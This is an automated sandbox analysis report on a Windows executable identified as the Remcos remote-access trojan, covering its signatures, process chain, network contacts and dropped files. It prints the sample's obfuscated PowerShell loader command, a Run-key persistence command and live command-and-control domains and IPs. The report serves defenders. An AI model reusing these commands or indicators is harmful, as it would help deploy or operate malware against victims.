Malware Analysis Report

2025-04-03 13:25

Sample ID 241109-2l3vhstfmk
Target 3b72f732f216136775f6aebdbda1ba0b.exe
SHA256 85502e59a1632b69b489891356d31f6a06d788073c744e1ac55bd03f166c5241
Tags
discovery execution remcos fresh persistence rat
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

85502e59a1632b69b489891356d31f6a06d788073c744e1ac55bd03f166c5241

Threat Level: Known bad

The file 3b72f732f216136775f6aebdbda1ba0b.exe was found to be: Known bad.

Malicious Activity Summary

discovery execution remcos fresh persistence rat

Remcos family

Remcos

Legitimate hosting services abused for malware hosting/C2

Adds Run key to start application

Blocklisted process makes network request

Suspicious use of NtSetInformationThreadHideFromDebugger

Suspicious use of NtCreateThreadExHideFromDebugger

Unsigned PE

System Location Discovery: System Language Discovery

Enumerates physical storage devices

Command and Scripting Interpreter: PowerShell

Suspicious use of WriteProcessMemory

Modifies registry key

Suspicious use of AdjustPrivilegeToken

Suspicious behavior: EnumeratesProcesses

Suspicious behavior: MapViewOfSection

Suspicious use of SetWindowsHookEx

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-09 22:41

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-09 22:41

Reported

2024-11-09 22:43

Platform

win7-20240729-en

Max time kernel

15s

Max time network

25s

Command Line

"C:\Users\Admin\AppData\Local\Temp\3b72f732f216136775f6aebdbda1ba0b.exe"

Signatures

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\3b72f732f216136775f6aebdbda1ba0b.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\3b72f732f216136775f6aebdbda1ba0b.exe

"C:\Users\Admin\AppData\Local\Temp\3b72f732f216136775f6aebdbda1ba0b.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe

"Powershell.exe" -windowstyle minimized "$Zieglers = Get-Content -raw 'C:\Users\Admin\AppData\Roaming\Lysninger28\grdesanger\Hjlpemenuen104.Gen192' ; $Bibbling=$Zieglers.SubString(77179,3);.$Bibbling($Zieglers)

Network

N/A

Files

memory/1992-8-0x0000000074571000-0x0000000074572000-memory.dmp

memory/1992-9-0x0000000074570000-0x0000000074B1B000-memory.dmp

memory/1992-10-0x0000000074570000-0x0000000074B1B000-memory.dmp

memory/1992-11-0x0000000074570000-0x0000000074B1B000-memory.dmp

memory/1992-12-0x0000000074570000-0x0000000074B1B000-memory.dmp

memory/1992-13-0x0000000074570000-0x0000000074B1B000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-09 22:41

Reported

2024-11-09 22:43

Platform

win10v2004-20241007-en

Max time kernel

149s

Max time network

151s

Command Line

"C:\Users\Admin\AppData\Local\Temp\3b72f732f216136775f6aebdbda1ba0b.exe"

Signatures

Remcos

rat remcos

Remcos family

remcos

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Troolie = "%Sanguivorous% -windowstyle 1 $Heptacolic=(gp -Path 'HKCU:\\Software\\Biledes\\').Scripturalizes;%Sanguivorous% ($Heptacolic)" C:\Windows\SysWOW64\reg.exe N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A drive.google.com N/A N/A
N/A drive.google.com N/A N/A

Suspicious use of NtCreateThreadExHideFromDebugger

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\msiexec.exe N/A

Suspicious use of NtSetInformationThreadHideFromDebugger

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\msiexec.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\3b72f732f216136775f6aebdbda1ba0b.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\msiexec.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A

Modifies registry key

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\reg.exe N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe N/A
Token: 33 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe N/A
Token: 34 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe N/A
Token: 35 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe N/A
Token: 36 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\msiexec.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1800 wrote to memory of 4812 N/A C:\Users\Admin\AppData\Local\Temp\3b72f732f216136775f6aebdbda1ba0b.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe
PID 1800 wrote to memory of 4812 N/A C:\Users\Admin\AppData\Local\Temp\3b72f732f216136775f6aebdbda1ba0b.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe
PID 1800 wrote to memory of 4812 N/A C:\Users\Admin\AppData\Local\Temp\3b72f732f216136775f6aebdbda1ba0b.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe
PID 4812 wrote to memory of 536 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe C:\Windows\SysWOW64\msiexec.exe
PID 4812 wrote to memory of 536 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe C:\Windows\SysWOW64\msiexec.exe
PID 4812 wrote to memory of 536 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe C:\Windows\SysWOW64\msiexec.exe
PID 4812 wrote to memory of 536 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe C:\Windows\SysWOW64\msiexec.exe
PID 536 wrote to memory of 4428 N/A C:\Windows\SysWOW64\msiexec.exe C:\Windows\SysWOW64\cmd.exe
PID 536 wrote to memory of 4428 N/A C:\Windows\SysWOW64\msiexec.exe C:\Windows\SysWOW64\cmd.exe
PID 536 wrote to memory of 4428 N/A C:\Windows\SysWOW64\msiexec.exe C:\Windows\SysWOW64\cmd.exe
PID 4428 wrote to memory of 4416 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\reg.exe
PID 4428 wrote to memory of 4416 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\reg.exe
PID 4428 wrote to memory of 4416 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\reg.exe

Processes

C:\Users\Admin\AppData\Local\Temp\3b72f732f216136775f6aebdbda1ba0b.exe

"C:\Users\Admin\AppData\Local\Temp\3b72f732f216136775f6aebdbda1ba0b.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe

"Powershell.exe" -windowstyle minimized "$Zieglers = Get-Content -raw 'C:\Users\Admin\AppData\Roaming\Lysninger28\grdesanger\Hjlpemenuen104.Gen192' ; $Bibbling=$Zieglers.SubString(77179,3);.$Bibbling($Zieglers)

C:\Windows\SysWOW64\msiexec.exe

"C:\Windows\SysWOW64\msiexec.exe"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Troolie" /t REG_EXPAND_SZ /d "%Sanguivorous% -windowstyle 1 $Heptacolic=(gp -Path 'HKCU:\Software\Biledes\').Scripturalizes;%Sanguivorous% ($Heptacolic)"

C:\Windows\SysWOW64\reg.exe

REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Troolie" /t REG_EXPAND_SZ /d "%Sanguivorous% -windowstyle 1 $Heptacolic=(gp -Path 'HKCU:\Software\Biledes\').Scripturalizes;%Sanguivorous% ($Heptacolic)"

Network

Country Destination Domain Proto
US 8.8.8.8:53 88.210.23.2.in-addr.arpa udp
US 8.8.8.8:53 104.219.191.52.in-addr.arpa udp
US 8.8.8.8:53 0.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 97.17.167.52.in-addr.arpa udp
US 8.8.8.8:53 56.163.245.4.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
US 8.8.8.8:53 drive.google.com udp
GB 142.250.187.206:443 drive.google.com tcp
US 8.8.8.8:53 c.pki.goog udp
GB 142.250.187.227:80 c.pki.goog tcp
US 8.8.8.8:53 o.pki.goog udp
GB 142.250.187.227:80 o.pki.goog tcp
US 8.8.8.8:53 drive.usercontent.google.com udp
GB 172.217.16.225:443 drive.usercontent.google.com tcp
US 8.8.8.8:53 206.187.250.142.in-addr.arpa udp
US 8.8.8.8:53 227.187.250.142.in-addr.arpa udp
US 8.8.8.8:53 225.16.217.172.in-addr.arpa udp
US 8.8.8.8:53 lafours8tursot1.duckdns.org udp
US 192.169.69.26:2879 lafours8tursot1.duckdns.org tcp
US 192.169.69.26:2889 lafours8tursot1.duckdns.org tcp
US 8.8.8.8:53 lafours8tursot2.duckdns.org udp
BE 172.111.244.104:2879 lafours8tursot2.duckdns.org tcp
US 8.8.8.8:53 geoplugin.net udp
NL 178.237.33.50:80 geoplugin.net tcp
US 8.8.8.8:53 26.69.169.192.in-addr.arpa udp
US 8.8.8.8:53 104.244.111.172.in-addr.arpa udp
US 8.8.8.8:53 50.33.237.178.in-addr.arpa udp
US 8.8.8.8:53 13.227.111.52.in-addr.arpa udp

Files

memory/4812-6-0x00000000744BE000-0x00000000744BF000-memory.dmp

memory/4812-7-0x00000000024A0000-0x00000000024D6000-memory.dmp

memory/4812-8-0x00000000744B0000-0x0000000074C60000-memory.dmp

memory/4812-9-0x0000000004F60000-0x0000000005588000-memory.dmp

memory/4812-10-0x00000000744B0000-0x0000000074C60000-memory.dmp

memory/4812-11-0x0000000004DC0000-0x0000000004DE2000-memory.dmp

memory/4812-12-0x0000000004EE0000-0x0000000004F46000-memory.dmp

memory/4812-13-0x0000000005740000-0x00000000057A6000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0qtplnyx.bvj.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4812-23-0x00000000057B0000-0x0000000005B04000-memory.dmp

memory/4812-24-0x0000000005DA0000-0x0000000005DBE000-memory.dmp

memory/4812-25-0x0000000005DE0000-0x0000000005E2C000-memory.dmp

memory/4812-26-0x0000000006300000-0x0000000006396000-memory.dmp

memory/4812-27-0x00000000062B0000-0x00000000062CA000-memory.dmp

memory/4812-28-0x0000000006D80000-0x0000000006DA2000-memory.dmp

memory/4812-29-0x00000000075F0000-0x0000000007B94000-memory.dmp

C:\Users\Admin\AppData\Roaming\Lysninger28\grdesanger\Hjlpemenuen104.Gen192

MD5 320c79f6479491da5f91192e301648f6
SHA1 48664b2465180bbd3c4d3e92abeb5bcd3cc29bfd
SHA256 57f6b2ee227e10b1fae852528583fa97c9af97ccc7bc4f93fdda7aa4f8ca127d
SHA512 c5403831808634c94bae13a21397dd42a8dfbf24d4272684afb1c49f90b888312f01f1efde32b2a4e0424ce6d76249e3be85c9e5baa02ea06fd3bebc31c4434f

memory/4812-31-0x0000000008220000-0x000000000889A000-memory.dmp

memory/4812-34-0x00000000702D0000-0x000000007031C000-memory.dmp

memory/4812-35-0x00000000706C0000-0x0000000070A14000-memory.dmp

memory/4812-33-0x00000000744B0000-0x0000000074C60000-memory.dmp

memory/4812-32-0x00000000071E0000-0x0000000007212000-memory.dmp

memory/4812-45-0x0000000007220000-0x000000000723E000-memory.dmp

memory/4812-46-0x00000000744B0000-0x0000000074C60000-memory.dmp

memory/4812-47-0x0000000007250000-0x00000000072F3000-memory.dmp

memory/4812-48-0x00000000744B0000-0x0000000074C60000-memory.dmp

memory/4812-49-0x0000000007350000-0x000000000735A000-memory.dmp

memory/4812-51-0x0000000007500000-0x0000000007524000-memory.dmp

memory/4812-50-0x00000000074D0000-0x00000000074FA000-memory.dmp

memory/4812-52-0x00000000744BE000-0x00000000744BF000-memory.dmp

memory/4812-53-0x00000000744B0000-0x0000000074C60000-memory.dmp

memory/4812-54-0x00000000744B0000-0x0000000074C60000-memory.dmp

memory/4812-55-0x00000000744B0000-0x0000000074C60000-memory.dmp

memory/4812-56-0x00000000744B0000-0x0000000074C60000-memory.dmp

C:\Users\Admin\AppData\Roaming\Lysninger28\grdesanger\Akhmimic.Sam

MD5 1b559621122c1b9255e77e86c8fbe290
SHA1 1a803f1663eb48db7aedc8606feb64cca0928132
SHA256 30edde04845cf5971cd2acae8685ca9513ee34595ded8a566c37c7f87ba34614
SHA512 4b321218f3c3487992d6a2e50b69d5cdd248a43e89ca12366f962493a547699c7564e57a67ca4aacb588bf38d98a5152b2d20d122f9616319c71838a98fd078f

memory/4812-59-0x00000000744B0000-0x0000000074C60000-memory.dmp

memory/4812-60-0x00000000744B0000-0x0000000074C60000-memory.dmp

memory/4812-58-0x00000000088A0000-0x000000000A190000-memory.dmp

memory/4812-61-0x00000000744B0000-0x0000000074C60000-memory.dmp

memory/4812-62-0x00000000744B0000-0x0000000074C60000-memory.dmp

memory/4812-64-0x00000000744B0000-0x0000000074C60000-memory.dmp

memory/4812-65-0x00000000744B0000-0x0000000074C60000-memory.dmp

memory/536-78-0x0000000001040000-0x0000000002294000-memory.dmp

memory/536-80-0x0000000001040000-0x0000000002294000-memory.dmp

memory/536-86-0x0000000001040000-0x0000000002294000-memory.dmp

memory/536-87-0x0000000001040000-0x0000000002294000-memory.dmp

memory/536-88-0x0000000001040000-0x0000000002294000-memory.dmp

memory/536-89-0x0000000001040000-0x0000000002294000-memory.dmp

memory/536-90-0x0000000001040000-0x0000000002294000-memory.dmp

memory/536-91-0x0000000001040000-0x0000000002294000-memory.dmp

memory/536-92-0x0000000001040000-0x0000000002294000-memory.dmp

memory/536-93-0x0000000001040000-0x0000000002294000-memory.dmp

memory/536-94-0x0000000001040000-0x0000000002294000-memory.dmp

memory/536-95-0x0000000001040000-0x0000000002294000-memory.dmp

memory/536-96-0x0000000001040000-0x0000000002294000-memory.dmp